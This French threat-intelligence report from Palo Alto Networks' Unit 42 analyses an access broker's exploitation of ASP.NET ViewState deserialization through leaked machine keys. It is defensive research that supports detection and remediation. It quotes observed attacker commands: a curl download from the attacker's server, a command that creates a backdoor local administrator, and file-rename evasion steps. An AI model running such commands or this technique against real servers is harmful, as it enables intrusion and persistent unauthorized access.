Synthèse
Les chercheurs de Unit 42 ont découvert une campagne menée par un courtier d’accès initial (IAB) qui exploite les fuites de clés machine (clés cryptographiques utilisées sur les sites ASP.NET) pour accéder à des organisations ciblées. Les IAB pénètrent dans les organisations et vendent ensuite cet accès à d’autres agents de menace.
Ce rapport analyse les outils utilisés dans ces attaques. Nous suivons cet acteur en tant que groupe temporaire TGR-CRI-0045. Le groupe semble suivre une approche opportuniste, mais il a attaqué des organisations en Europe et aux États-Unis dans les secteurs suivants : services financiers, industrie, commerce de gros et de détail, haute technologie, transport et logistique.
L’IAB a utilisé ces clés ayant fuitées pour signer des payloads malveillants qui permettent un accès non autorisé aux serveurs ciblés, dans le cadre d’une technique appelée désérialisation du composant ViewState ASP.NET. Cette technique a permis à l’IAB d’exécuter des payloads malveillants directement en mémoire du serveur, en minimisant leur présence sur le disque et en laissant peu d’artefacts forensiques, ce qui rend la détection plus difficile.
Nous attribuons le groupe temporaire TGR-CRI-0045, avec un degré de confiance moyen, à Gold Melody (alias UNC961, Prophet Spider). Cette évaluation est basée sur des recoupements dans les domaines suivants :
- Indicateurs de compromission (IoC)
- Tactiques, techniques et procédures (TTP)
- Victimologie
Ce rapport analyse également l’infrastructure de TGR-CRI-0045, ainsi que les outils utilisés pour recueillir des informations sur les autres systèmes du réseau et maintenir l’accès aux systèmes exploités. Ces outils semblent être en cours de développement.
Les premiers signes d’exploitation et de déploiement d’outils datent d’octobre 2024, avec une augmentation significative de l’activité entre fin janvier et mars 2025. Cette montée en puissance comprend le déploiement d’outils de post-exploitation tels que des scanners de ports open-source et des utilitaires personnalisés pour la persistance (maintien de l’accès) et l'élévation de privilèges (obtention d’un accès de plus haut niveau).
Nous avons identifié ou répondu à des incidents dans une douzaine d’organisations touchées par cette menace. Dans la plupart des cas, nous avons identifié les clés machine exposées comme étant la cause initiale de la compromission. C’est pourquoi nous recommandons vivement aux organisations de suivre les conseils de Microsoft sur l’identification et la correction des clés machine compromises pour les sites ASP.NET Internet Information Services (IIS) dans leur environnement.
Les clients de Palo Alto Networks sont mieux protégés contre les outils décrits dans cet article grâce aux produits et services suivants :
- Les modèles de Machine Learning d’Advanced WildFire ont été mis à jour sur la base des indicateurs de compromission (IoC) identifiés dans cette recherche.
- Cortex XDR et XSIAM fournit des protections préconfigurées pour les exploits de désérialisation IIS avec le module de protection IIS.
Si vous pensez que votre entreprise a pu être compromise ou si vous faites face à une urgence, contactez l’équipe Unit 42 de réponse aux incidents.
RUnit 42 - Thématiques connexes | Microsoft, Web Shells, Golang |
Analyse technique
Comment L’équipe Managed Threat Hunting (MTH) a découvert TGR-CRI-0045 : une hausse de l’exploitation
Entre le 30 janvier et le 2 février 2025, nous avons répondu à des intrusions de serveurs web dans deux environnements clients. Dans les deux cas, les intrusions ont impliqué l’exécution d’un shell de commande à partir d’un processus IIS (w3wp.exe). Ces intrusions présentaient les caractéristiques communes suivantes :
- invocation de cmd.exe avec redirection des sorties stdout et stderr : cmd /c votre_commande_ici 2>&1
- Répertoire intermédiaire: C:\Windows\Temp\111t
- Fichier récupéré via curl à partir de : hxxp://195.123.240[.]233:443/atm
Investigation plus vaste
De manière inattendue, l’examen des terminaux affectés n’a révélé aucune webshell récemment chargée. Cependant, en élargissant l’investigation, on a pu découvrir la même invocation de cmd.exe et la même utilisation abusive du répertoire intermédiaire dans les autres intrusions.
La télémétrie a confirmé que l’attaquant a exécuté des commandes chargeant du code .NET assemblies (code C#) directement dans la mémoire (reflective loading). Cette exploitation visait le composant ViewState, un paramètre interne des sites ASP.NET fonctionnant sous Microsoft IIS via la désérialisation d’un payload malveillant. La désérialisation est le processus de conversion des données encodées pour le transit ou le stockage en état d’application interne. Comme l’a indiqué MSTIC, cette exploitation a probablement été rendue possible par l’utilisation par les victimes de clés machine statiques et connues publiquement dans leurs applications.
Les rapports publics sur les acteurs de la menace motivés par des raisons financières qui exploitent les vulnérabilités IIS sont limités. Le présent rapport vise à combler cette lacune en donnant un aperçu des techniques d’exploitation des attaquants et en contribuant à une meilleure compréhension de l’exploitation de la désérialisation .NET. Notre objectif est de donner aux équipes de sécurité les moyens de répondre efficacement à ces menaces.
Comment TGR-CRI-0045 a exploité les serveurs des victimes
IIS et ASP.NET : l’a b c de l’exploitation ViewState
Pour comprendre les accès utilisés par TGR-CRI-0045, il est essentiel d’expliquer les rôles d’IIS, d’ASP.NET et de ViewState, ainsi que la manière dont les clés compromises permettent l’exécution de codes à distance. IIS est un serveur web qui prend en charge diverses technologies d’application web, dont ASP.NET. Ce framework permet aux développeurs de créer des applications dynamiques côté serveur en utilisant des langages .NET tels que C# et VB.NET.
Les sites web ASP.NET utilisent ViewState pour gérer les interactions entre le navigateur de l’utilisateur et le serveur. ViewState conserve l’état des contrôles frontend (par exemple, les cases à cocher et les champs de saisie) d’une requête à l’autre, en stockant ces informations dans un paramètre HTTP masqué nommé __VIEWSTATE, inclus dans toutes les requêtes. Ce paramètre est vulnérable à diverses techniques de désérialisation .NET qui peuvent permettre l’exécution de code à distance si l’attaquant connaît la clé utilisée pour le protéger.
Les clés machine, composées d’une clé de validation (pour l’intégrité) et d’une clé de déchiffrement facultative, protègent par défaut les ViewState ASP.NET contre les manipulations. Toutefois, les attaquants peuvent exploiter les listes publiques de clés machine qui ont été divulguées et qui sont souvent présentes sur les sites de production en raison de la réutilisation du code (référencées à la fin de cet article).
Les attaquants peuvent également extraire les clés machine directement à partir des serveurs en cours d’exécution. Avec un ensemble valide de clés machine, un attaquant peut créer un payload de désérialisation malveillant, cibler un serveur vulnérable et exécuter un code arbitraire dans le contexte du processus IIS.
La portée potentielle de cette attaque est considérable. Les ViewState sont transmis indépendamment du site ou de l’application spécifique fonctionnant sur ASP.NET, même s’ils sont désactivés pour un composant particulier. Tout serveur IIS exécutant un site ASP.NET dont les clés machine sont compromises est probablement vulnérable. Pour une explication détaillée de la manière dont les agents de menace stockent et accèdent aux clés machine, nous vous recommandons vivement cet article du blog Zeroed.tech.
Génération et exécution des payloads de l’état de vue
TGR-CRI-0045 a probablement utilisé des outils tels que ysoserial.net - un générateur de payload de désérialisation .NET open-source et son plug-in ViewState afin de développer des payloads de désérialisation malveillants qui :
- contournent la protection ViewState en utilisant des clés machine pré-exposées pour créer des signatures cryptographiques valides, en contournant les protections intégrées à ViewState (les sites compromis avaient souvent des fichiers web.config contenant des clés machine figurant dans des listes connues).
- utilisent le gadget XamlAssemblyLoadFromFile, un outil de désérialisation reposant sur des données formatées en XAML à des fins suivantes :
- déclencher une désérialisation malveillante
- charger et exécuter un code.NET assembly en mémoire à partir d’un flux gzip encodé en Base64 contenu dans le paramètre __VIEWSTATE
Les codes .NET assemblies chargés ont le même cycle de vie que la requête HTTP. L’attaquant lance un payload d’exploitation et le serveur cible assure son traitement. Le payload s’exécute en utilisant les paramètres d’entrée regroupés dans la même requête et renvoie le résultat à la requête d’origine par le biais de la réponse HTTP.
Une fois traité, le payload ne peut être réutilisé. Cet exploit ponctuel nécessite une tentative distincte pour chaque commande, ce qui se traduit par un rapport de 1:1 entre les tentatives d’exploit et les exécutions de commandes. La figure 1 ci-dessous illustre ce processus.

Récupération et analyse des modules IIS TGR-CRI-0045
Dans les environnements compromis, nous avons identifié des sous-ensembles des cinq code .NET assemblies suivants chargés dans la mémoire après une exploitation réussie du composant ViewState :
- Cmd /c : Nous avons identifié trois sous-variantes, chacune utilisant des paramètres HTTP différents pour transmettre une commande au shell de commandes du système. Cela permettait à l’attaquant d’exécuter des commandes arbitraires sur le serveur.
- Téléchargement de fichiers : L’attaquant était en mesure de télécharger des fichiers sur le serveur en spécifiant un chemin d’accès au fichier cible et un buffer incluant le contenu du fichier.
- Gagnant (Winner) : Il s’agit probablement d’une vérification de l’exploitation, qui renvoie “u a win” à l’attaquant, confirmant une exploitation réussie.
- Téléchargement du fichier : (Non récupéré) Sur la base des fonctions importées, ce module semble être un téléchargeur, permettant à l’attaquant de récupérer des données sensibles sur le serveur compromis.
- Chargeur réfléchissant : (Non récupéré) Sur la base des fonctions importées, ce module semble être un chargeur réflexif (reflective loader), permettant à l’attaquant de charger dynamiquement et d’exécuter des codes .NET assemblies supplémentaires en mémoire sans les écrire sur le disque.
Les codes récupérés partagent des caractéristiques communes de traitement des données. Ils semblent utiliser une simple clé XOR à un seul caractère x pour déchiffrer les payloads intégrés dans les paramètres HTTP.
Les codes semblent également appeler httpContext.response.Flush() suivi de httpContext.response.End() pour terminer les réponses HTTP. Cela réduit probablement la quantité de données forensiques générées lorsque ASP.NET ne parvient pas à désérialiser correctement les payloads malveillants, ce qui complique la détection et l’intervention en cas d’incident.
Le nom E, par défaut ysoserial.net ExploitClass. qui apparaît le plus souvent. Pour éviter tout conflit de noms, l’attaquant a renommé certains modules (par exemple, Dw et d).
Les figures 2 à 6 ci-dessous montrent le code source des modules récupérés, qui ont probablement été écrits sous forme de fichiers C# .cs. La compilation, consistant à transformer le code source en code exécutable, varie en fonction du gadget ysoserial.net utilisé. Nous avons le plus souvent observé le gadget XamlAssemblyLoadFromFile, qui compile le code.NET assembly sur le système de l’attaquant pendant l’exploitation et le transmet au serveur cible pour une exécution en mémoire.
Payloads cmd



Téléchargement de fichiers

Vérificateur d’exploits

Utilisation opérationnelle des assemblages
Entre octobre 2024 et janvier 2025, l’activité de l’agent de menace s’est principalement concentrée sur l’exploitation des systèmes, le déploiement de modules (comme l’outil de vérification des exploits) et l’exécution d’une reconnaissance basique.
La post-exploitation, un clavier à portée de main
L’activité post-exploitation a principalement consisté en une reconnaissance de l’hôte compromis et du réseau environnant. Nous n’avions observé aucun mouvement latéral au début du mois de juin.
Une caractéristique commune à toutes les intrusions observées est que TGR-CRI-0045 utilise C:\NWindows\NTemp\N111t comme répertoire de stockage pour les outils et les données. Dans quelques cas isolés, nous avons observé l’agent de menace interagir avec le répertoire C:\NWindows\NTemp\Ngen_py, mais nous n’avons trouvé aucune preuve qu’il y ait stocké des outils ou des données exfiltrées.
Elévation et persistance des privilèges locaux
L’agent de menace a principalement réalisé une élévation des privilèges locaux à l’aide d’un fichier binaire C# personnalisé nommé updf. Ce nom a probablement été utilisé pour déguiser le fichier en éditeur PDF UPDF.
Le fichier binaire updf semble faire l’objet d’un développement actif, si l’on en croit les fonctionnalités partiellement mises en œuvre dans sa base de code. Il utilise l’exploit GodPotato qui utilise de manière abusive les tubes nommés de Windows pour se faire passer pour un service privilégié (par exemple, epmapper) et obtenir un accès de niveau SYSTEM.
Bien que le fichier updf puisse exécuter des commandes avec les privilèges SYSTEM, il est le plus souvent utilisé pour créer un utilisateur local et l’ajouter au groupe des administrateurs locaux :
- c:\windows\temp\111t\updf.exe -nadm 'support:Sup0rt_1!admin'
Dans un cas, TGR-CRI-0045 a exporté des fichiers web.config (fichiers de configuration ASP.NET) et a modifié les paramètres d’une page spécifique pour <allow users="*"/>, contournant potentiellement l’authentification pour l’accès au serveur alternatif. Nous n’avons pas pu confirmer si cette page modifiée était une page vulnérable existante réexploitable par TGR-CRI-0045, ou un webshell.
Téléchargement de fichiers binaires préparés
La plupart des intrusions observées consistaient à utiliser wget ou curl pour télécharger un fichier binaire ELF nommé atm. Si l’attaquant a utilisé curl, il était probablement préexistant sur les hôtes. S’ils ont utilisé wget.exe, le fichier a probablement été téléchargé sur les serveurs cibles en exécutant le payload de téléchargement de fichiers. Ce fichier binaire atm pourrait soutenir des activités malveillantes sur des serveurs Linux, en cas de mouvement latéral. Voici un exemple de commande curl utilisée pour télécharger le fichier binaire atm :
- curl hxxp://195.123.240[.]233:443/atm
TXPortMap
TGR-CRI-0045 utilisait TxPortMap, un scanner de port Golang et un banner grabber, exécuté sous les noms txp.exe ou txpm.exe. Les serveurs internes accessibles ont ainsi pu être identifiés à partir de l’hôte initialement compromis (patient 0). L’attaquant a ainsi pu cartographier le réseau interne et identifier des cibles d’exploitation potentielles.
Activités de reconnaissance
Sur une période de cinq minutes, l’acteur de la menace a effectué une reconnaissance locale et du réseau via du shell assembly, en utilisant les commandes suivantes :
Le tableau 1 présente les commandes de reconnaissance.
Commande | Description |
tasklist | Répertorie tous les processus en cours sur le système |
ipconfig /all | Affiche la configuration réseau du système, y compris l’adresse IP, les serveurs de noms de domaine (DNS) et l’adresse MAC (Media Access Control) |
quser | Affiche des informations sur les utilisateurs connectés |
whoami /all | Affiche l’identité de l’utilisateur actuel et son appartenance à un groupe |
nltest /domain_trusts | Énumère les domaines de confiance |
net user | Répertorie des comptes d’utilisateurs locaux |
systeminfo | Affiche des informations détaillées sur le système, y compris la version du système d’exploitation et les détails du matériel |
dir <répertoires de l’utilisateur> | Répertorie les fichiers et les répertoires dans les répertoires de l’utilisateur |
Tableau 1. Commandes de reconnaissance de l’acteur de la menace.
Attribution d’un autre nom aux exécutables téléchargés pour échapper à la défense
L’assemblage de chargement de fichiers a parfois chargé des exécutables avec des noms de fichiers à un, deux ou trois caractères. On ne sait pas s’il s’agit d’une limitation du code assembly lui-même ou d’une technique d’évasion délibérée de l’agent de menace pour télécharger des fichiers sans extension. L’attaquant a ensuite utilisé le shell de commande pour renommer ces fichiers avec des extensions valides dans le répertoire de mise à disposition, afin de les rendre moins suspects.
Exemples de commandes utilisées pour renommer les fichiers :
- "cmd.exe" /c move c:\windows\temp\111t\tx2 c:\windows\temp\111t\txp.exe 2>&1
- "cmd.exe" /c move c:\windows\temp\111t\tx c:\windows\temp\111t\txpm.exe 2>&1
- "cmd.exe" /c move c:\windows\temp\111t\w c:\windows\temp\111t\wget.exe 2>&1
Après avoir exécuté ses outils et sa reconnaissance, l’agent de menace a supprimé tous les outils restants sur le disque et le répertoire 111t.
Attribution et ciblage
Sur la base de recoupement dans les IoC, les TTP et la victimologie, nous estimons avec un degré de confiance moyen que TGR-CRI-0045 est lié à Gold Melody.
TGR-CRI-0045 a ciblé des organisations en Europe et aux États-Unis. Le groupe semble suivre une approche opportuniste qui correspond à son vecteur d’attaque. Depuis le début de l’activité identifiée, le groupe a ciblé des organisations des secteurs suivants, la plupart d’entre elles étant basées aux États-Unis :
- Valeurs mobilières et services d’investissement
- Industrie manufacturière - matériaux de construction
- Fabrication - réfractaires en argile
- Fabrication - instruments chirurgicaux/médicaux
- Retail et vente en gros
- Hautes technologies
- Transport et logistique
- Services logiciels préconfigurés
- Traitement et préparation des données
- Services financiers
- Revendeurs d’articles d’occasion
- Services de programmation informatique sur mesure
Implications de l’adoption par les cybercriminels des techniques d’exploitation de services IIS en mémoire et principaux points à retenir pour les équipes blue team
Accès plus furtif et temps de présence plus long
La détection est considérablement entravée par d’attaques en mémoire. Sans télémétrie appropriée, les attaques de désérialisationViewState sont pratiquement invisibles. La remédiation n’intervient généralement que lorsque de nouvelles clés machine sont générées ou que le serveur est mis hors service. Cela permet aux agents de menace, en particulier aux IAB, de conserver un accès à long terme et peu visible à un ensemble de systèmes compromis.
Télémétrie pour les requêtes POST : Protection contre une éventuelle faiblesse
Bien que les payloads de désérialisation de ViewState puissent être envoyés via un paramètre URI dans une requête GET, les attaquants incluent généralement le paramètre __VIEWSTATE dans une requête POST. En raison de leur taille et de leur sensibilité potentielle, les requêtes POST sont rarement enregistrées par les serveurs IIS, les proxies, les load balancers ou les appliances de sécurité.
Envisagez de mettre en œuvre des solutions qui filtrent et enregistrent les requêtes POST de manière conditionnelle. Les options sont les suivantes :
- Règles de journalisation personnalisées
- Frameworks d’observabilité web
- Agents EDR (détection et réponse sur les terminaux)
- Appliances de sécurité réseau
Une autre de détection possible : Consignation des événements Windows
Windows peut consigner les échecs de désérialisation des ViewState sous l’ID d’événement 1316 dans le journal des événements ASP.NET. Examinez ces journaux et vérifiez la présence de fichiers binaires malveillants dans les payloads de l’état de visualisation qui ont échoué. Les ViewState contenant des fichiers binaires ou des données chiffrées (lorsque le chiffrement des états de visualisation est désactivé) sont très suspects.
Exploits ponctuels : Une approche limitée
TGR-CRI-0045 utilise une approche simpliste de l’exploitation ViewStatee, en chargeant directement un seul assembly stateless. Chaque exécution de commande nécessite la réexploitation et le rechargement du code assembly(par exemple, en exécutant plusieurs fois le code assembly de téléchargement de fichiers). Il en va de même pour l’exécution d’une nouvelle liste de répertoires ou d’un nouveau processus. Le code assembly, les paramètres et le code de l’exploit sont soumis et exécutés, et les résultats sont renvoyés par le biais d’une demande unique. Cette approche unique limite la capacité de l’attaquant à interagir avec le système compromis.
Même si TGR-CRI-0045 ne déploie pas de webshell persistant (sur le disque ou en mémoire) via l’exploitation ViewState, les équipes de sécurité doivent être conscientes de ce qui suit :
- Chaque exploit est une opportunité
- Chaque tentative d’exploitation offre aux attaquants la possibilité d’exécuter un payload qui peut être invisible pour les outils de sécurité et de surveillance existants.
- L’absence d’un webshell ne signifie pas qu’il n’y a pas eu de compromission
- L’absence d’un shell web n’indique pas que le serveur n’a pas été exploité.
- La réexploitation est nécessaire
- TGR-CRI-0045 doit exploiter le serveur chaque fois qu’il souhaite exécuter un payload, à moins qu’il ne charge un module persistant entre les requêtes.
- Une exploitation avec état est possible
- Bien que TGR-CRI-0045 déploie des modules sans état, il existe des cas documentés d’agents de menace déployant des codes .NET assembly pour IIS avec état après l’exploitation. Ils s’appuient sur des données stockées dans des variables ASP.NET et .NET accessibles au pipeline de traitement web et persistantes entre les requêtes. Le rapport de CrowdStrike sur IceApple est un exemple d’un tel framework.
Techniques MITRE ATT&CK
- T1036.005 - dissimulation : mise en correspondance avec le nom ou le lieu légitime (fichier binaire updf)
- T1036.010 - dissimulation : dissimulation du nom du compte
- T1046 - découverte de services de réseau (TxPortMap)
- T1059.003 - interprète de commandes et de scripts : shell de commande Windows (cmd.exe)
- T1071.001 - protocole de la couche application : protocoles web (état de vue HTTP)
- T1082 - découverte d’informations sur le système (systeminfo, ipconfig)
- T1105 - transfert d’outils d’ingérence (wget, curl)
- T1134.001 - manipulation de jetons d’accès : usurpation d’identité/vol de jeton (exploit GodPotato dans updf)
- T1136.001 - création d’un compte : compte local (updf)
- T1190 - exploitation d’une application publique (désérialisation de l’état de vue)
- T1217 - découverte d’informations sur le navigateur
- T1505.003 - shell web (modification potentielle du web.config)
- T1572 - tunneling de protocole (si utilisé, basé sur les fonctions importées dans le module de téléchargement de fichiers non récupérés)
- T1587.001 - malwares
Orientations en matière de remédiation et de renforcement
Clés machine
Les clés machine IIS sont des composants cryptographiques fondamentaux utilisés pour authentifier et chiffrer les données client-serveur. Elles sont essentielles pour les exploits de désérialisation de l’état de vue.
Si vous soupçonnez un exploit de désérialisation d’état de vue, vérifiez les éléments suivants dans votre application IIS :
- Aucun code d’authentification des messages (MAC) de l’état de vue n’est activé.
- Pour ce faire, recherchez dans vos fichiers web.config et machine.config les éléments suivants : <pages enableViewStateMac="False" />
- Utilisation d’une clé machine compromise
- clé machinevolée
Voici des conseils pour quatre cas possibles :
- Si la signature MAC de l’état de vue est désactivée, activez-la après avoir testé la stabilité de l’application.
- Si la signature MAC de l’état de vue est activée et utilise des clés machine statiques, considérez que les clés sont compromises. Remédiez-y en suivant les conseils de Microsoft et de Zeroed.Tech.
- Si la signature MAC d’état de vue est activée et qu’elle utilise des clés machine statiques trouvées dans des listes compromises connues (par exemple, Blacklist3r) : Réinitialisez les clés en suivant les conseils de Microsoft ci-dessus, en vous assurant que la nouvelle clé ne figure pas dans cette liste de blocage.
- Si la signature MAC d’état de vue est activée et qu’elle utilise des clés machine dynamiques, considérez que les clés sont compromises et régénérez-les dans le gestionnaire de serveur IIS.
Nous vous recommandons vivement de consulter les conseils de Microsoft sur la remédiation à ce sujet.
Conclusion
Cette investigation révèle comment TGR-CRI-0045 exploite les techniques IIS en mémoire pour un accès persistant. L’exploitation des vulnérabilités de la désérialisation de ViewState pour ASP.NET via les clés machine exposées permet une présence minimale sur le disque et un accès à long terme.
Le ciblage opportuniste du groupe et le développement continu d’outils soulignent la nécessité pour les organisations de donner la priorité à l’identification et à la correction des clés machine compromises, comme le souligne Microsoft. La nature ponctuelle de l’exploit et les limites de la télémétrie traditionnelle montrent la nécessité d’une consignation conditionnelle des requêtes POST et d’une analyse minutieuse du journal des événements ASP.NET. Ces mesures facilitent la détection et la réponse lorsque les solutions pour terminaux manquent de visibilité sur ces attaques.
Protection et atténuation des risques par Palo Alto Networks
Les clients de Palo Alto Networks sont mieux protégés contre les menaces mentionnées ci-dessus grâce aux produits suivants :
- Les modèles de Machine Learning d’Advanced WildFire ont été mis à jour sur la base des indicateurs de compromission (IoC) identifiés dans cette recherche.
Protection des IIS par XDR et XSIAM
Le module de protection IIS de Cortex XDR et XSIAM offre des capacités de détection et de prévention de la désérialisation de l’état de vue, comme indiqué dans cet article. Ce module est activé par défaut.
Si vous pensez que votre entreprise a pu être compromise ou si vous faites face à une urgence, contactez l’équipe Unit 42 de réponse aux incidents ou composez l’un des numéros suivants :
- Amérique du Nord Gratuit : +1 (866) 486-4842 (866.4.UNIT42)
- Royaume-Uni : +44 20 3743 3660
- Europe et Moyen-Orient : +31.20.299.3130
- Asie : +65.6983.8730
- Japon : +81 50 1790 0200
- Australie : +61.2.4062.7950
- Inde : 00080005045107
Palo Alto Networks a partagé ces conclusions avec les autres membres de la Cyber Threat Alliance (CTA). Les membres de la CTA s’appuient sur ces renseignements pour déployer rapidement des mesures de protection auprès de leurs clients et perturber de manière coordonnée les activités des cybercriminels. Cliquez ici pour en savoir plus sur la Cyber Threat Alliance.
Indicateurs de compromission
Hachages d’assemblages .NET réfléchis :
- 106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4
- 87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697
- 55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb
- 18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1
- d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5
- b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca
- Taille des fichiers : variable
- Types de fichiers : exécutables (DLL)
- Description du fichier : hachages des assemblages compilés observés
- Méthode d’exécution : chargé par IIS lors de la désérialisation
Outils de post-exploitation déposés sur le disque :
- d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2
- c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8
- Types de fichiers : exécutables
- Description du fichier : TxPortMap nommé txpm.exe ou txp.exe
- Méthode d’exécution : cmd /c
- 52a72f899991506d2b1df958dd8736f7baa26592d664b771c3c3dbaef8d3114a
- d3767be11d9b211e74645bf434c9a5974b421cb96ec40d856f4b232a5ef9e56d
- Types de fichiers : exécutables
- Description du fichier : exécutable .NET nommé updf.exe ou up qui utilise la technique d’escalade des privilèges GodPotato pour s’élever et créer un administrateur local ou exécuter une instance de cmd /c.
- Méthode d’exécution : cmd /c
- f368ec59fb970cc23f955f127016594e2c72de168c776ae8a3f9c21681860e9c
- Type de fichier : ELF
- Description du fichier : permet à un utilisateur d’exécuter des commandes ou des fichiers binaires en tant qu’utilisateur root sur les hôtes Linux. Téléchargé via curl.
Exploitation des adresses IP :
- 67.43.234[.]96
- 213.252.232[.]237
- 98.159.108[.]69
- 190.211.254[.]95
- 109.176.229[.]89
- 169.150.198[.]91
- 194.5.82[.]11
- 138.199.21[.]243
- 194.114.136[.]95
Des payloads d’exploitation contenant des paramètres __VIEWSTATE malveillants ont été observés à partir des adresses IP suivantes entre octobre 2024 et février 2025. Le trafic HTTP/s provenant de ces adresses et visant les serveurs IIS doit être interrogé.
Outils de préproduction de l’infrastructure après l’exploitation :
- 195.123.240[.]233
Entre janvier et février 2025, l’auteur de la menace a extrait des outils de cette adresse via curl sur Windows.
Pour aller plus loin
- Attaques par injection de code utilisant des clés machine ASP.NET divulguées publiquement | Microsoft Security Blog
- Résolution des erreurs de code d’authentification de message (MAC) de l’état de vue - Microsoft Support
- Comprendre l’état de vue ASP.NET - Microsoft
- État de vue, La journée sans correctif d’IIS est activement exploitée
- XamlAssemblyLoadFromFileGenerator.cs - GitHub
- ViewStatePlugin.cs - GitHub
- GitHub - MachineKeys.txt
- mstic/RapidReleaseTI/MachineKeys.csv at master
- GitHub - BeichenDream/GodPotato
- GitHub - 4dogs-cn/TXPortMap : Scanner de ports et identification de bannière de TianXiang
- GOLD MELODY : Profil d’un courtier d’accès initial | Secureworks
- UNC961 dans le multivers de Mandiant : Trois rencontres avec un acteur de la menace à motivation financière
- ASP.NET ViewState sans MAC activé - PortSwigger
- Falcon OverWatch détecte le nouveau framework IceApple | CrowdStrike